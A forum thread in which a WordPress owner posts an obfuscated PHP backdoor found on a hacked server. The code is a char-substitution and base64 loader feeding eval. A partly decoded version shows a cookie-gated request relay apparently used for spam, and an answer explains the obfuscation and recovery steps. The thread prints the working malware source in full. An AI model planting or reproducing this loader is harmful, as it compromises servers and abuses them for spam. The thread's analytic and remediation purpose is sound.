Reputation: 1024
I'm running a wordpress on my ubuntu server. Recently, I found that it is hacked and sending a lot of spam from my server. I found the below weird script in my wordpress directory. Does anyone know what is it doing? And how to reverse the obfuscation and see the original code?
<?php
$fodhaow = 2570; function iytpmqplaf($jtsqp, $paicjek){$nuodxnxumv = ''; for($i=0; $i < strlen($jtsqp); $i++){$nuodxnxumv .= isset($paicjek[$jtsqp[$i]]) ? $paicjek[$jtsqp[$i]] : $jtsqp[$i];}
$itbenabk="base" . "64_decode";return $itbenabk($nuodxnxumv);}
$uhzwglv = 'RrqBxzCyDeRfd1aNuGc58eqMDedPlGdydPmm2Q5vAEcNl0qMu1zi2A75l17MD'.
'edPlGdydPmm2Q5vAEcqu9dguqCPDecgu9aNl0ufoAE3pRNhu1zieGaNlwzMlrqXxeRfoAE3pRN'.
'hxw7BlGdqeGzyDedM8wdgu9RfoZE3pRNhxwFNeGvq7AV9lwHne1znDwvI7rqglqCixwIqd'.
'Pmm2Q5vAVi2D0CPDwHLxAhfdHCpQiCbZYYV8eoVdrqiDwiNpRN3pRfVTAhVxw8V2Aa'.
'N7rzXTAUCTAdEDp7EoQumoPiF8QTibQRyvLTX6poFv4IqDwRioQc46pHEvQV42Ri2TAhVTAhVTAcqKrqi2AE3pRNCpRfvA4aE8e'.
'aSTpiVD0q5DzC9DeaM81CB7rzB7tofdGcfupfgb1qButzidPE3pRfEDrHi8ZhCTtvmlrqi2ATCT4mEDrHi8ZmP2Q5vAVi2drT1'.
'vHCEDwvgDrzMDrHi8ZhCTrdSu1Y1vHCEDwvgDrYf7ed5DrzLl1aq2AaE8ea'.
'SwyH72ZE3pRfvA4ayDwFEe1aS7rUVsZcIl9vqu0qSlrqkDZSEDwvPKeci2Aa4vLaMDrzLl1a'.
'qe1aS7rUN2Q5vAVi2dtdquGz57AhCTtvql0aMDrHi8QUV2AayDwFEe1aS7rUN6mi2pRNND4hfTZaPDe'.
'vIltRNpRN3pRfVTAhVdtdquGz57AhCTtvql0aMDrHi8QTfdtvql0aMDrHi8ZE3pRNCpRfvA0zLxrJVd'.
'tdquGz57p5vAVi2D9zB8GaNl1nVDrzLu9qm7AVEDrHi8ZEvA95vA4hV'.
'TAhElGzie1aS7rUVsZh4TL5vA4hVTAhEx1zFTpiVdHCQazdwazdldiSYzHcMZUCQzA77TAnVdHCQazdwazdldIdH'.
'YzzHYIaMzzdddIi3pRfVTAhVdrXqKzC5DwnVsZcy7td5DwnfdrXqKZE3pRfVpRfVTAhVD0CPTAVExQim'.
'6PhExZhJTtviu0Oql4VEx1zF2Q5VdrEW2PEvA4hVTAc3pRfVTAhVTAhVTAaWDeql'.
'drq7TpiV81SP2rCPDAVEx1zFwPaNeZEVe4hfdrXqKzC5DwnVdZhPvQYN2Q5vA4hVTAcCpRfvA4hVTAc0lGTV2AaNs'.
'Qh3TAaNstviu0Oql4VEDrHi8ZE32Ri2TAhVTt5vA4hVTAhVTAhVD0CPTAVExLi'.
'm6PhExLOy7td5DwnfdrXqKZEVd48VdrEJuGaPlrzB2AaE8eaS2Q5VdrfW2PmVdrEW2PE'.
'vA4hVTAhVTAhVKmi2TAhVTAhVTAhVTAhVdrCI7HCE8eaSTAnCTrvfu4Sgu0RfdraS7'.
'rHldrq72ZcKTrCPDAVEx1zFwPajeZEN6mi2TAhVTAhVTAcCpRfVTAhVMRi2pRfVTAhVu0zi7edBTAag7eaMDrHi8Q5vA9ivAV'.
'i2D9zB8GaNl1nVu1zBDHCE8eaSoZVEDrHi8ZEvA95vA4hVTAhExrzSDAhCTAT46m'.
'i2pRfVTAhVD0CPDwHLxAVEDrHi8z54xrzSDrzPuPd7TrHyTAaWDeECs4a18wOIDZEvA4hVTAc'.
'3pRfVTAhVTAhVTAafDwHETAnCTAaWDeEVb4h464h4TAnVdtDSltz'.
'qTAnVTqOPern46mi2TAhVTtivAVi2TAhVTAam8edSleoVsZcSu9dSKZV9xtaiuAuVsQn'.
'V8edP8eEfpRfVTAhVTAhVTA7XDeafl1R9Tpi+TAaE8eaSwPdXDeafl1R4eZmvA4hVTAhVTAhVd1Sq'.
'8waqu4uVsQnVdrSq8wR5pRfVTAhVTAhVTA7Ll1FiDwFidPhCs4hEDrHi8'.
'z5480CEKZd7bhi2TAhVTAhVTAh97rqXDwCI7AuVsQnVdraS7rHlT9aNlwzg7eR4eZmvA4hVTAhVTAhVpRfVTAh'.
'V2ZE3pRfvA4hVTAhE8GanTpiVuGaPDwHXe1vgl9aqKtaM8Gdq8eaq2Aam8edSleoN6mi2TAhVThi2TAh'.
'VTAaPDevIltRVsZchD0q5DzC9DeaM81CB7rzB7tofdraS7rHlT9zPlAd7bAcrRYOQaZmVdrviKAE3pRfvA4hVTAcND4hfdrSi'.
'7tcMu0zyurCBu1zMxrzSDrzP2Ri2TAhVTt5vA4hVTAhVTAhVxw8V2tviu9cguPVExtaiuHCPDevml1FyDzCfDw'.
'HEDedloHi5TATPoph42ZhCsQiVaEHoYiYNpRfVTAhVTAhVTt5vA4hVTAhVTAhVTAhVTAaPDevIltRVsZh4ZHaYYHCHYqdsYqO'.
'iT4hBTAaf7tameGdquGcgl9vqe1Sq8waquq5meQ5vA4hVTAhVTAhVMRi2TAhVTtivA4hVTAcq'.
'ltvqpRfVTAhVKmi2TAhVTAhVTAhEu0zy7wOiTpiVTEvsQEFHRIadQiFMazdZQIT46mi2TAhVTtivAVi2TAhV'.
'Ttdq7tzPl4hEu0zy7wOi6mi2MRi2pRN07wFL7rqgl4cyDwFEe1aS7rUP2AaE8'.
'eaS2Ri2Kmi2TAhVTAJgTtzyDZcyl1vWDeaypRNC';
$tedsroi = Array('1'=>'2', '0'=>'m', '3'=>'7', '2'=>'K', '5'=>'s', '4'=>'i', '7'=>'d', '6'=>'O', '9'=>'n', '8'=>'Y', 'A'=>'C', 'C'=>'9', 'B'=>'u', 'E'=>'k', 'D'=>'Z', 'G'=>'3', 'F'=>'5', 'I'=>'1', 'H'=>'F', 'K'=>'e', 'J'=>'8', 'M'=>'f', 'L'=>'j', 'O'=>'x', 'N'=>'p', 'Q'=>'T', 'P'=>'y', 'S'=>'h', 'R'=>'Q', 'U'=>'E', 'T'=>'I', 'W'=>'r', 'V'=>'g', 'Y'=>'U', 'X'=>'t', 'Z'=>'S', 'a'=>'R', 'c'=>'B', 'b'=>'L', 'e'=>'X', 'd'=>'J', 'g'=>'v', 'f'=>'o', 'i'=>'0', 'h'=>'A', 'k'=>'6', 'j'=>'q', 'm'=>'w', 'l'=>'b', 'o'=>'M', 'n'=>'4', 'q'=>'l', 'p'=>'D', 's'=>'P', 'r'=>'G', 'u'=>'c', 't'=>'H', 'w'=>'W', 'v'=>'N', 'y'=>'z', 'x'=>'a', 'z'=>'V');
eval/*o*/(iytpmqplaf($uhzwglv, $tedsroi));?>
I finally get the decoded script as below. But there is a line has syntax error. And there is a function "send_data1" which has not been defined. I wonder how this script works.
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
foreach ($_COOKIE as $item) {
if ($item != "dd7d1703-9a24-4362-8396-eed410b81d58")
exit();
}
$data = file_get_contents('php://input');
$data = split("=", $data, 2);
$b64_decode_data = base64_decode(urldecode($data[1]));
$send_data = unserialize(decrypt($b64_decode_data));
$result = send_data1($send_data);
if (!$result) {
$result = send_data2($send_data);
}
echo $result;
function decrypt($data) {
$out_data = "";
$key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$key_len = strlen($key);
for ($i = 0; $i < strlen($key); $i++) {
$key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));
}
for ($i = 0; $i$value;) { // this line has error
$head .= $key . ": " . $value . "\r\n";
}
$params = array(
'http' => array(
'method' => $data["method"],
'header' => $head,
'content' => $data["body"],
'timeout' => $data["timeout"],
)
);
$ctx = stream_context_create($params);
$result = @file_get_contents($data["url"], FALSE, $ctx);
if ($http_response_header) {
if (strpos($http_response_header[0], "200") === FALSE) {
$result = "HTTP_ERROR\t" . $http_response_header[0];
}
} else {
$result = "CONNECTION_ERROR";
} return $result;
}
function send_data2($data) {
}
Upvotes: 0
Views: 2926
Reputation: 2581
The good old script kiddy like base64 stuff.
What happens is the following:
First of all there is an eval()
which evaluates a string as PHP code. To avoid finding eval(
strings within your code base, a /*0*/
comment was put in. The function iytpmqplaf()
provides the PHP code to be executed.
Secondly, there is this variable $itbenabk
which contains "base64_decode". Again, to avoid finding base64_encode
strings within the code base, the string was concatenated from two strings.
Thirdly, the $itbenabk
variable gets invoked. PHP realizes that $itbenabk
contains a string name of an existing function, namely base64_decode()
, and thus invokes it. The string in $uhzwglv
contains the actual PHP code.
The actual base64 string was also a bit modified by a simple char to char map. To see the actual code, you can do:
$char2char = Array('1'=>'2', '0'=>'m', '3'=>'7', '2'=>'K', '5'=>'s', '4'=>'i', '7'=>'d', '6'=>'O', '9'=>'n', '8'=>'Y', 'A'=>'C', 'C'=>'9', 'B'=>'u', 'E'=>'k', 'D'=>'Z', 'G'=>'3', 'F'=>'5', 'I'=>'1', 'H'=>'F', 'K'=>'e', 'J'=>'8', 'M'=>'f', 'L'=>'j', 'O'=>'x', 'N'=>'p', 'Q'=>'T', 'P'=>'y', 'S'=>'h', 'R'=>'Q', 'U'=>'E', 'T'=>'I', 'W'=>'r', 'V'=>'g', 'Y'=>'U', 'X'=>'t', 'Z'=>'S', 'a'=>'R', 'c'=>'B', 'b'=>'L', 'e'=>'X', 'd'=>'J', 'g'=>'v', 'f'=>'o', 'i'=>'0', 'h'=>'A', 'k'=>'6', 'j'=>'q', 'm'=>'w', 'l'=>'b', 'o'=>'M', 'n'=>'4', 'q'=>'l', 'p'=>'D', 's'=>'P', 'r'=>'G', 'u'=>'c', 't'=>'H', 'w'=>'W', 'v'=>'N', 'y'=>'z', 'x'=>'a', 'z'=>'V');
$b64code = '';
for($i=0; $i < strlen($uhzwglv); $i++){
$b64code .= isset($char2char[$uhzwglv[$i]])
? $char2char[$uhzwglv[$i]] : $uhzwglv[$i];
}
echo base64_decode($b64code);
Upvotes: 3
Reputation: 17561
You can unobfuscate the code, but it doesn't really matter. You should be more concerned with finding and closing the security issue.
Best thing to do is carefully follow FAQ My site was hacked - WordPress Codex.
Then take a look at the recommended security measures in Hardening WordPress - WordPress Codex and Brute Force Attacks - WordPress Codex
Upvotes: 2